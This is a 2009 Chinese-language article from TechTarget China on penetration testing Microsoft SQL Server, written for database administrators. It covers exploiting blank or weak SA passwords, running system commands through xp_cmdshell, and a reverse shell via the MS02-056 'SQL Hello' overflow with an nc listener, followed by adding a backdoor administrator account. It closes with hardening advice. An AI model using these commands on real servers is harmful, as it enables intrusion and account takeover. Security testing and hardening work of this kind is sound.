SQL Server渗透测试方法

日期: 2009-05-10 作者:谢朝海王建法董平 来源:TechTarget中国 英文

  一、引言

  微软的SQL Server是一种广泛使用的数据库,很多电子政务、电子商务和企业内部信息系统都是基于SQL Server建设的。政府部门和企业组织的很多数据都保存在这种数据库中,比如政务文件信息、职工薪水和文档资料等,甚至一些敏感的数据也存放在这种数据库中,如政府事务安排、一些重要决策和企业市场计划等。这些重要数据应该得到合理保护,以便防止竞争者和其他非法人员攻击、获取。

  但是由于数据库一般处在信息系统的内部网络区域,在“防外不防内”的保护思想指导下,数据库管理系统通常没有像操作系统和网络设备这样在安全性上受到应有的重视。数据库系统中存在的安全漏洞和不当的配置通常会带来严重的后果。特别是漏洞繁多的MS SQL Server数据库,它属于“端口”型数据库,这就表示任何人都能够用分析工具直接连接数据库,而绕过一些网络和操作系统的安全机制,进而侵入系统、破坏和窃取数据资料,甚至破坏整个信息系统。

  鉴于此,本文提出利用两类不同的安全漏洞进行SQL Server渗透测试的方法,以指导数据库管理员进行自测试评估,及时发现严重漏洞,并进行漏洞修补。这两类漏洞具体是:SA用户空/弱口令和缓冲区溢出漏洞。

  二、基础

  MS SQL Server是由Microsoft开发和推广的关系数据库管理系统,具有真正的客户机/服务器体系结构、图形化用户管理界面、丰富的编程接口工具等诸多特点。很多电子政务、电子商务网站和企业内部信息化平台等都是基于SQL Server的。在软件结构上,SQL Server由两个部分组成:服务器组件和客户端工具。客户端工具与服务器组件的连接,可以使用多种网络协议,例如TCP/IP、命名管道等。在默认情况下,SQL Server使用的TCP端口为1433。

  SQL Server存在一个不能更改、也不能删除的超级用户SA。这个用户应该使用一个非常强壮的密码,然而,很多数据库账号的密码过于简单,甚至是空口令,这就给渗透测试提供了一个很好的、可以利用的安全漏洞,这也常常是信息系统被轻易攻击的原因

  SQL Server的存储过程是为完成特定的功能而汇集在一起的,经编译后存储在数据库中的SQL程序在SQL Server的系列版本存在一类比较特殊的存储过程——扩展存储过程。SQL Server的扩展存储过程是一个普通的Windows DLL,只是要按照某种规则来实现这些函数。扩展存储过程可直接在SQL Server实例中运行。SQL Server默认情况下,包含有访问系统注册表、服务器文件系统、服务器硬件信息的扩展存储过程。这些存储过程存在安全隐患。其中对渗透测试特别有用的一个扩展存储过程是xp_cmdshell,通过它可以在Windows、系统的一个shell上执行任意CMD命令。

  对SQL Server数据库中不同安全漏洞的利用,可以达到不同的目的例如,通过一些漏洞的利用,可以访问本来不可访问的数据,包括读和写等;通过一些漏洞的利用,可以执行一些代码,从而获得目标系统的访问权限或本地系统的更高权限等。我们重点讨论后者,包括SQL Server的SA用户空/弱口令的利用和两个典型的、非常重要的缓冲区溢出漏洞的利用等。

  三、SA用户空/弱口令的利用

  漏洞扫描是渗透测试的关键一步。为了更好地完成识别出SQL Server的SA用户空/弱口令漏洞。我们可以选用开源软件Nessus扫描器,也可以使用商用漏洞扫描器,如绿盟的漏洞扫描工具等。

  如果漏洞扫描器报告SA用户的口令为空,则就可以直接利用。使用SQLTools工具连接服务器,登录数据库后,就可以进行各种各样攻击了,如窃取本来不能访问的数据,破坏数据库中数据的完整性等,甚至进一步利用扩张存储过程进行主机操作系统的渗透,获得数据库服务器主机的用户权限,从而进一步控制该主机。

  如果漏洞扫描结果中报告SA用户的口令为弱口令,则我们可以进一步使用SA弱口令扫描器Scan-SQL进行扫描,获得SA的口令。如图1。

  ScanSQL扫描

  通过ScanSQL扫描得到SA用户的口令,就可以管理和控制SQL Server数据库了,而且可以利用这个权限去获得网络上更多的控制权。这可以通过许多途径来达到:一种比较简单的方法是使用现成工具,如使用SQLTools;另一种方法是可以通过手工方式来完成。

  SQLTools是一款专门攻击SQL主机的工具,它的功能包括有:登陆SQL服务器,从而在SQL服务器上执行DOS命令,上传文件,增加SQL账户以及更改SQL服务器注册表等操作,如图2所示。

  SQLTools攻击工具界面

  另外一种获得网络上更高的控制权的途径是以SA用户通过SQL Server的查询分析器连接数据库服务器,以手工方式执行各种存储过程和相关命令,包括:l)使用xp_cmdshell扩展存储过程执行操作系统的命令;2)利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键;3)使用“bulk insert”语法去读服务器上的任意文件;4)使用sp_OACreate、sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序等。例如,使用xp_cmdshell执行各种各样的功能,命令如下,返回结果如图3所示:

  Exec master..xp_cmdshell ‘lir’

  Exec master..xP_cmdshell ‘net user’

  用xp_cmdshell执行系统命令

  四、缓冲汉溢出漏洞的利用

  利用缓冲区溢出漏洞进行渗透是最常用的方法。其实,缓冲区溢出漏洞利用的原理很简单:向存在缓冲区溢出漏洞程序中一个有限空间的缓冲区拷贝一个过长的字符串,这可能会出现两种后果:一是过长的字符串覆盖了相临的存储单元而造成程序瘫痪,甚至造成宕机、系统或进程重启等;二是可让攻击者运行恶意代码,执行任意指令,甚至获得超级权限等。

  有资料显示,许多攻击事件与缓冲区溢出漏洞有关,在网络空间中利用这种缓冲区溢出漏洞而发起的攻击屡见不鲜。早在1988年,莫里斯就利用Unix程序不限制输入长度的漏洞进行恶意攻击,并感染到其他机器上。2003年“SQL slammer”蠕虫王的发作就是利用未及时更新补丁的MS SQL Server数据库缓冲区溢出漏洞获得非法权限(MS 02-039 Microsoft SQL Server 2000 Resolution服务远程堆缓冲区溢出漏洞),并感染其他机器的。

  下面我们分析SQL Server的另一个缓冲区溢出漏洞(MS 02-056 Microsoft SQL Server预验证过程远程缓冲区溢出漏洞,也称SQL Hello溢出)的利用。SQL Hello溢出可以针对Microsoft SQL Server的预验证过程存在的问题,通过连接TCP 1433端口就可以进行缓冲区溢出攻击。由于问题出现在验证之前,所以无需验证就可以进行攻击,能使攻击者以SQL进程权限在系统上执行任意指令。Sqlhello是溢出反向连接工具,下面介绍它的使用。

  使用NC反相连接执行系统命令

  首先,用工具NC在本机建立一个TCP监听端口,等待反向连接。NC是一个非标准的telnet客户端程序。在DOS命令提示符下输人命令NC-v-p556,出现表示在等待的省略号。然后,执行Sqlhello进行溢出,使用方法:SQLhello.exe目标主机IP 1433本地IP 556。556是NC监听的端口。最后回到还在监听的NC命令窗体,等待的省略号已经变为了系统的SHELL,这也正是远程主机的命令控制台。SHELL是操作系统的最外层,管理着用户与操作系统交互、通讯、执行等工作的操作。得到了对方的SHELL,就代表着已经拥有了与对方计算机直接沟通、下达命令的平台。

  用Net命令增加用户,并提升权限。在其命令行下输入Net User Administrators test 123456/add的命令,就可以建立一个属于自己名为“test”,密码是123456的普通账户。在将所建用户的权限提升为管理员,敲入Net Localgroup Administrators test/add命令,如图4所示。最后使用本机自带的远程终端软件,敲入刚才溢出的IP以及建立/提升的用户,进行“远程连接”登录,稍等片刻后,就可以管理对方主机了。

  对SQL Server的缓冲区溢出漏洞的利用也可以使用Metasploit工具来完成。Metasploit是一款开源的安全漏洞检测工具。最新版本的MSF包含了180多种当前流行的操作系统和应用软件的exploit,以及100多个shellcode。对SQL Server该工具包括了两种漏洞的溢出攻击插件,如图5所示。

  Metasploit缓冲区溢出攻击插件

  五、安全加固建议

  基于以上的测试分析,我们提出如下三点安全加固建议供数据库管理员参考使用。

  (1)使用健壮的用户口令策略。我们把用户口令策略摆在所有安全配置的最前面,这是因为我们发现在政府部门和企业组织的数据库中,很多数据库账号的口令过于简单,特别是SA用户更应该注意。SQL Server 2000安装时,如果是使用混合模式,那么就需要输入SA的密码,除非你确认必须使用空密码。同时要养成定期修改口令的好习惯。数据库管理员应该定期查看是否有不符合口令要求的账号。

  (2)管理扩展存储过程。对存储过程进行大手术,并且对账号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。特别是扩展存储过程xp_cmdshell,如果你不需要它,就删除它。同时,去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来。

  (3)进行及时升级管理。数据库版本信息可以帮助渗透人员确定相应版本存在的漏洞,以便更好地组织渗透。对SQL Server,版本信息还可以告知安装的补丁信息,如表1。

  SQLServer版本号和版本对照表

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

电子邮件地址不会被公开。 必填项已用*标注

敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。

相关推荐